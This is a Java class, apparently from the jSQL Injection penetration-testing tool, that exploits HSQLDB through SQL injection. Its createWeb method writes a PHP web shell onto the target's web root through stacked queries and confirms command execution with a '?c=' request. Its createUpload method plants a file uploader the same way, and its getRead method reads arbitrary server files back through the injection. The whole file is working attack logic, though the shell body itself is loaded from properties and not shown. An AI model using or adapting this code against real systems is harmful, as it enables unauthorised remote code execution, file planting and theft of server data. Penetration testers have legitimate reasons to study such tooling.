View Javadoc
1   package com.jsql.model.accessible.engine;
2   
3   import com.jsql.model.InjectionModel;
4   import com.jsql.model.accessible.CallableFile;
5   import com.jsql.model.accessible.DataAccess;
6   import com.jsql.model.accessible.ResourceAccess;
7   import com.jsql.model.accessible.engine.hsqldb.ModelYamlHsqldb;
8   import com.jsql.model.bean.database.MockElement;
9   import com.jsql.view.subscriber.Seal;
10  import com.jsql.model.exception.AbstractSlidingException;
11  import com.jsql.model.exception.JSqlException;
12  import com.jsql.model.exception.JSqlRuntimeException;
13  import com.jsql.model.injection.engine.model.EngineYaml;
14  import com.jsql.model.suspendable.SuspendableGetRows;
15  import com.jsql.util.LogLevelUtil;
16  import com.jsql.util.StringUtil;
17  import org.apache.commons.lang3.RandomStringUtils;
18  import org.apache.commons.lang3.StringUtils;
19  import org.apache.logging.log4j.LogManager;
20  import org.apache.logging.log4j.Logger;
21  import org.yaml.snakeyaml.Yaml;
22  
23  import java.io.File;
24  import java.io.FileInputStream;
25  import java.io.IOException;
26  import java.io.InputStream;
27  import java.net.http.HttpResponse;
28  import java.util.function.BinaryOperator;
29  
30  public class ExploitHsqldb {
31  
32      private static final Logger LOGGER = LogManager.getRootLogger();
33      private final InjectionModel injectionModel;
34      private final ModelYamlHsqldb modelYaml;
35  
36      public ExploitHsqldb(InjectionModel injectionModel) {
37          this.injectionModel = injectionModel;
38          var yaml = new Yaml();
39          this.modelYaml = yaml.loadAs(
40              injectionModel.getMediatorEngine().getHsqldb().instance().getModelYaml().getResource().getExploit(),
41              ModelYamlHsqldb.class
42          );
43      }
44  
45      public String createWeb(String pathExploit, String urlExploit) {
46          LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: stack query, web+db on same machine, jdbc bridge");
47  
48          String bodyExploit = StringUtil.base64Decode(
49                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_WEB)
50              )
51              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
52              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
53  
54          var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
55          var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
56          this.injectionModel.injectWithoutIndex(String.format(
57              this.modelYaml.getFile().getWrite(),
58              nameTable,
59              nameTable, bodyExploit.replace("'", "\""),
60              nameTable, pathExploit + nameExploit
61          ), ResourceAccess.TBL_CREATE);
62  
63          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
64              String result = this.injectionModel.getResourceAccess().callCommand(
65                  urlSuccess +"?c="+ ResourceAccess.WEB_CONFIRM_CMD
66              );
67              if (!result.contains(ResourceAccess.WEB_CONFIRM_RESULT)) {
68                  LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit body not found");
69                  return StringUtils.EMPTY;
70              }
71              this.injectionModel.sendToViews(new Seal.AddTabExploitWeb(urlSuccess));
72              return urlSuccess;
73          };
74  
75          return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
76      }
77  
78      public void createUpload(String pathExploit, String urlExploit, File fileToUpload) {
79          String bodyExploit = StringUtil.base64Decode(
80                  this.injectionModel.getMediatorUtils().propertiesUtil().getProperty(ResourceAccess.EXPLOIT_DOT_UPL)
81              )
82              .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD)
83              .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL);
84  
85          var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
86          var nameExploit = RandomStringUtils.secure().nextAlphabetic(8) +".php";
87          this.injectionModel.injectWithoutIndex(String.format(
88              this.modelYaml.getFile().getWrite(),
89              nameTable,
90              nameTable, bodyExploit.replace("'", "\""),
91              nameTable, pathExploit + nameExploit
92          ), ResourceAccess.TBL_CREATE);
93  
94          BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> {
95              try (InputStream streamToUpload = new FileInputStream(fileToUpload)) {
96                  HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload);
97                  if (result.body().contains(DataAccess.LEAD +"y")) {
98                      LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName());
99                  } else {
100                     LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName());
101                 }
102             } catch (InterruptedException e) {
103                 LOGGER.log(LogLevelUtil.IGNORE, e, e);
104                 Thread.currentThread().interrupt();
105             } catch (IOException | JSqlException e) {
106                 throw new JSqlRuntimeException(e);
107             }
108             return urlSuccess;
109         };
110 
111         this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest);
112     }
113 
114     public String getRead(String pathFile) throws AbstractSlidingException {
115         LOGGER.log(LogLevelUtil.CONSOLE_INFORM, CallableFile.REQUIRE_STACK);
116         var nameTable = RandomStringUtils.secure().nextAlphabetic(8);
117         this.injectionModel.injectWithoutIndex(String.format(
118             this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getCreateTable(),
119             nameTable,
120             nameTable, pathFile
121         ), ResourceAccess.TBL_FILL);
122         return new SuspendableGetRows(this.injectionModel).run(
123             String.format(
124                 this.injectionModel.getResourceAccess().getExploitHsqldb().getModelYaml().getFile().getRead().getResult(),
125                 EngineYaml.TRAIL_SQL,
126                 nameTable
127             ),
128             new String[]{ StringUtils.EMPTY },
129             false,
130             1,
131             MockElement.MOCK,
132             ResourceAccess.TBL_READ
133         );
134     }
135 
136     public ModelYamlHsqldb getModelYaml() {
137         return this.modelYaml;
138     }
139 }